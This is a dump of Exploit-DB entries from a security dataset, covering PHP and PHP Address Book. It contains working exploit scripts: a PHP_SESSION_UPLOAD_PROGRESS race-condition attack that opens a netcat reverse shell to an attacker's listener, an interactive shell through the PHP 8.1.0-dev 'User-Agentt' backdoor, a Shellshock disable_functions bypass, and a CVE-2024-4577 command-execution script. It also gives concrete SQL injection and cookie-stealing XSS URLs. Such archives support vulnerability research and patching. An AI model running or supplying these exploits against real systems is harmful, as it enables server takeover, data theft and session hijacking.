deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50156
Description: PHP 7.3.15-3 - 'PHP_SESSION_UPLOAD_PROGRESS' Session Data Injection
Type: webapps
Platform: php
Date: 2021-07-27
Author: S1lv3r

Exploit:
# Exploit Title: PHP 7.3.15-3 - 'PHP_SESSION_UPLOAD_PROGRESS' Session Data Injection
# Date: 26/7/2021
# Exploit Author: SiLvER | Faisal Alhadlaq
# Tested on: PHP Version is 7.3.15-3
# This poc will abusing PHP_SESSION_UPLOAD_PROGRESS then will trigger race condition to get remote code execution, the script will return a reverse shell using netcat

#!/usr/bin/python3
"""
Usage :

python3 poc.p <Target URL> <ListnerIP> <ListnerPORT>
python3 poc.py https://xyz.xyz 192.168.1.15 1337

"""
import requests
import threading
import datetime
import sys

x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
newDatetime = x + addSeconds

def fuzz():
	targetIP = sys.argv[1]
	listnerIP = sys.argv[2]
	listnerPORT = sys.argv[3]
	global newDatetime
	while True:
		try:
			if datetime.datetime.now() > newDatetime:
				exit()
			# proxies = {
			#     "http": "http://127.0.0.1:8080",
			#    	"https": "https://127.0.0.1:8080",
			#    	}
			sessionName = "SiLvER"
			url = targetIP
			s = requests.Session()
			cookies = {'PHPSESSID': sessionName}
			files = {'PHP_SESSION_UPLOAD_PROGRESS': (None, '<?php `nc '+ listnerIP +' '+ listnerPORT + ' -e /bin/bash`;?>'), 'file': ('anyThinG', 'Abusing PHP_SESSION_UPLOAD_PROGRESS By Faisal Alhadlaq '*100, 'application/octet-stream')}
			# You need to change the parameter in your case , here the vulnerabile parameter is (lfi)
			params = (('lfi', '/var/lib/php/sessions/sess_'+sessionName),)
			x = s.post(url, files=files, params=params, cookies=cookies, allow_redirects=False, verify=False)#, proxies=proxies
		
		except Exception as error:
			print(error)
			exit()
def main():
	print("\n(+) PoC for Abusing PHP_SESSION_UPLOAD_PROGRESS By SiLvER\n")
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
		t.start()
		threads.append(t)
	for thread in threads:
		thread.join

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("\n(-) Usage: {} <Target URL> <ListnerIP> <ListnerPORT>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
        print("\n(=) By SiLvER \n")
        exit()  
    else:
    	main()
Exploit-DB #49933
Description: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
Type: webapps
Platform: php
Date: 2021-06-03
Author: flast101

Exploit:
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link: 
#     - https://hub.docker.com/r/phpdaily/php
#    - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
#    - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#   - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com

An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
    print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
    try:
        while 1:
            cmd = input("$ ")
            headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
            "User-Agentt": "zerodiumsystem('" + cmd + "');"
            }
            response = request.get(host, headers = headers, allow_redirects = False)
            current_page = response.text
            stdout = current_page.split('<!DOCTYPE html>',1)
            text = print(stdout[0])
    except KeyboardInterrupt:
        print("Exiting...")
        exit

else:
    print("\r")
    print(response)
    print("Host is not available, aborting...")
    exit
Exploit-DB #35146
Description: PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection
Type: webapps
Platform: php
Date: 2014-11-03
Author: Ryan King (Starfall)

Exploit:
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
Exploit-DB #52047
Description: PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows)
Type: webapps
Platform: php
Date: 2024-06-14
Author: Yesith Alvarez

Exploit:
# Exploit Title: PHP Windows Remote Code Execution (Unauthenticated)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.php.net/downloads.php
# Version: PHP 8.3,* < 8.3.8,  8.2.*<8.2.20, 8.1.*, 8.1.29
# CVE : CVE-2024-4577

from requests import Request, Session
import sys
import json



def title():
    print('''
    
   _______      ________    ___   ___ ___  _  _          _  _   _____ ______ ______ 
  / ____\ \    / /  ____|  |__ \ / _ \__ \| || |        | || | | ____|____  |____  |
 | |     \ \  / /| |__ ______ ) | | | | ) | || |_ ______| || |_| |__     / /    / / 
 | |      \ \/ / |  __|______/ /| | | |/ /|__   _|______|__   _|___ \   / /    / /  
 | |____   \  /  | |____    / /_| |_| / /_   | |           | |  ___) | / /    / /   
  \_____|   \/   |______|  |____|\___/____|  |_|           |_| |____/ /_/    /_/                                                                                                              
                                                                                                                      
                                                                              
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024-4577/exploit.py
    ''')   


def exploit(url, command):       
    payloads = {
        '<?php echo "vulnerable"; ?>',
        '<?php echo shell_exec("'+command+'"); ?>' 
    }    
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
    'Content-Type': 'application/x-www-form-urlencoded'}
    s = Session()
    for payload in payloads:
        url = url + "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        req = Request('POST', url, data=payload, headers=headers)
        prepped = req.prepare()
        del prepped.headers['Content-Type']
        resp = s.send(prepped,
        verify=False,
        timeout=15)
        #print(prepped.headers)
        #print(url)
        #print(resp.headers)       
        #print(payload)
        print(resp.status_code)
        print(resp.text)


if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
        print('[+] USAGE: python3 %s https://<target_url> <command>\n'%(sys.argv[0]))
        print('[+] USAGE: python3 %s https://192.168.0.10\n dir'%(sys.argv[0]))        
        exit(0)
    else:
        exploit(sys.argv[1],sys.argv[2])
Exploit-DB #38435
Description: PHP Address Book - '/addressbook/register/admin_index.php?q' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
          
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
          
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/admin_index.php?q={insert}
Exploit-DB #38434
Description: PHP Address Book - '/addressbook/register/checklogin.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
         
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
         
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/checklogin.php?username={insert}&password=pass
Exploit-DB #38425
Description: PHP Address Book - '/addressbook/register/delete_user.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info

PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/delete_user.php?id={insert}
Exploit-DB #38426
Description: PHP Address Book - '/addressbook/register/edit_user.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
 
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/edit_user.php?id={insert}
Exploit-DB #38427
Description: PHP Address Book - '/addressbook/register/edit_user_save.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
  
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/edit_user_save.php?id={insert}&lastname={insert}&firstname={insert}&phone={insert}&email={insert}&permissions={insert}&notes={insert}
Exploit-DB #38428
Description: PHP Address Book - '/addressbook/register/linktick.php?site' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
   
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/linktick.php?site={insert}
Exploit-DB #38429
Description: PHP Address Book - '/addressbook/register/reset_password.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
    
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/reset_password.php?email={insert}&password={insert}
Exploit-DB #38430
Description: PHP Address Book - '/addressbook/register/reset_password_save.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
     
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/reset_password_save.php?username={insert}&[CREDENTIAL_REDACTED]_confirm=&password_hint={insert}&email={insert}
Exploit-DB #38431
Description: PHP Address Book - '/addressbook/register/router.php?BasicLogin' Cookie SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
      
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/router.php COOKIE var BasicLogin
Exploit-DB #38432
Description: PHP Address Book - '/addressbook/register/traffic.php?var' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
       
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/traffic.php?var={insert}
Exploit-DB #38433
Description: PHP Address Book - '/addressbook/register/user_add_save.php?email' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-05
Author: Jurgen Voorneveld

Exploit:
source: https://www.securityfocus.com/bid/58911/info
        
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/user_add_save.php POST var email
Exploit-DB #38131
Description: PHP Address Book - 'group' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-13
Author: Kenneth F. Belva

Exploit:
source: https://www.securityfocus.com/bid/56937/info

PHP Address Book is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Address Book 8.1.24.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?group=%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83
%2C83%29%29%3C%2FSCRIPT%3E
Exploit-DB #31881
Description: PHP Address Book 3.1.5 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-04
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29560/info

PHP Address Book is prone to multiple cross-site scripting and SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Address Book 3.1.5 is vulnerable; other versions may also be affected.

http://www.example.com/view.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/* http://www.example.com/edit.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/* http://www.example.com/?group=<XSS> http://www.example.com/index.php?group=<XSS>
Exploit-DB #18578
Description: PHP Address Book 6.2.12 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-10
Author: Stefan Schurtz

Exploit:
Advisory:		PHP Address Book 6.2.12 Multiple security vulnerabilities
Advisory ID:		SSCHADV2012-007
Author:			Stefan Schurtz
Affected Software:	Successfully tested on PHP Address Book 6.2.12
Vendor URL:		http://sourceforge.net/projects/php-addressbook/
Vendor Status:		informed

==========================
Vulnerability Description
==========================

PHP Address Book 6.2.12 is prone to multiple XSS and SQL-Injection vulnerabilities

==================
PoC-Exploit
==================

// (Blind) SQL-Injection
http://[target]/addressbook/edit.php?id=[sql-injection]
http://[target]/addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection]
http://[target]/addressbook/vcard.php?id=[sql-injection]

// XSS
http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script>
http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script>

====================
Disclosure Timeline
====================

03-Mar-2012 - vendor informed

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txt
Exploit-DB #37219
Description: PHP Address Book 7.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-17
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/53598/info

PHP Address Book is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP Address Book 7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbookv7.0.0/group.php/[XSS]

http://www.example.com/addressbookv7.0.0/translate.php?lang=en&target_language=[XSS]
Exploit-DB #18899
Description: PHP Address Book 7.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-19
Author: Stefan Schurtz

Exploit:
##################################################################################
# Advisory: PHP Address Book 7.0.0 Multiple security vulnerabilities
# Advisory ID: SSCHADV2012-013
# Author: Stefan Schurtz
# Affected Software: Successfully tested on PHP Address Book 7.0.0
# Vendor URL: http://sourceforge.net/projects/php-addressbook/
# Vendor Status: informed
##################################################################################

==========================
Vulnerability Description
==========================

PHP Address Book 7.0.0 is prone to multiple XSS and SQLi vulnerabilities

==================
PoC-Exploit
==================

// XSS

http://[target]/addressbookv7.0.0/preferences.php?from='"</script><script>alert('xss')</script>
http://[target]/addressbookv7.0.0/group.php/" /><script> alert('xss')</script>
http://[target]/addressbookv7.0.0/index.php?group='"</script><script>alert(document.cookie)</script>

// SQLi

http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1<2,2,1)
http://[target]/addressbookv7.0.0/edit.php?id=1 AND 1=IF(1>2,2,1)

// UNION-based Injection, needs 'magic_quotes=off'
http://[target]/addressbookv7.0.0/view.php?id=1' UNION ALL SELECT NULL, NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--+

====================
Disclosure Timeline
====================

03-Mar-2012 - vendor informed

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://sourceforge.net/tracker/?group_id=157964&atid=8059299
http://www.darksecurity.de/advisories/2012/SSCHADV2012-013.txt